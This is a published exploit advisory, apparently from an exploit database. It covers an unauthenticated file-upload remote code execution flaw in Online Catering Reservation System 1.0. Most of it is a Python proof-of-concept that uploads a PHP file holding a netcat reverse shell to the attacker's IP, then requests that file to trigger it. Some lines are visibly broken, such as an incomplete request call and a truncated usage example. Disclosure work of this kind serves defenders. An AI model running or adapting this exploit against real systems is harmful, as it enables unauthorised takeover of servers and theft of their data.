Online Catering Reservation System 1.0 Code Execution

Online Catering Reservation System version 1.0 suffers from an unauthenticated remote code execution vulnerability.

MD5 | 0bf36bbfde85c322826249f0163222b2

# Exploit Title: Online Catering Reservation System 1.0 - Unauthenticated Remote Code Execution
# Date: 28-02-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

#The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
m = MultipartEncoder(fields={'id': '1337', 'menu':'PWN', 'cat': '1337', 'subcat':'PWN','desc':'PWN','price':'13.37', 'image': (random_file_name, revshell_string, 'application/x-php'),'update':''})
print("(+) Uploading php reverse shell..")
r1 ='http://{}/reservation/admin/menu_update.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
if "Successfully updated menu details!" in r1.text:
print("(+) File upload seems to have been successful!")
return random_file_name
print("(-) Oh no, file upload seems to have failed.. quitting.")

def trigger_shell(target_ip, filename):
url = 'http://{}/reservation/images/{}'.format(target_ip, filename)
print("(+) Now trying to trigger our shell by requesting {} ..".format(url))
r2 = requests.get(url)
return None

def main():
if len(sys.argv) != 4:
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
print('(+) eg: %s 4444' % sys.argv[0])

target_ip = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]

uploaded_filename = file_upload(target_ip, attacker_ip, attacker_port)
trigger_shell(target_ip, uploaded_filename)
print("\n(+) done!")

if __name__ == "__main__":

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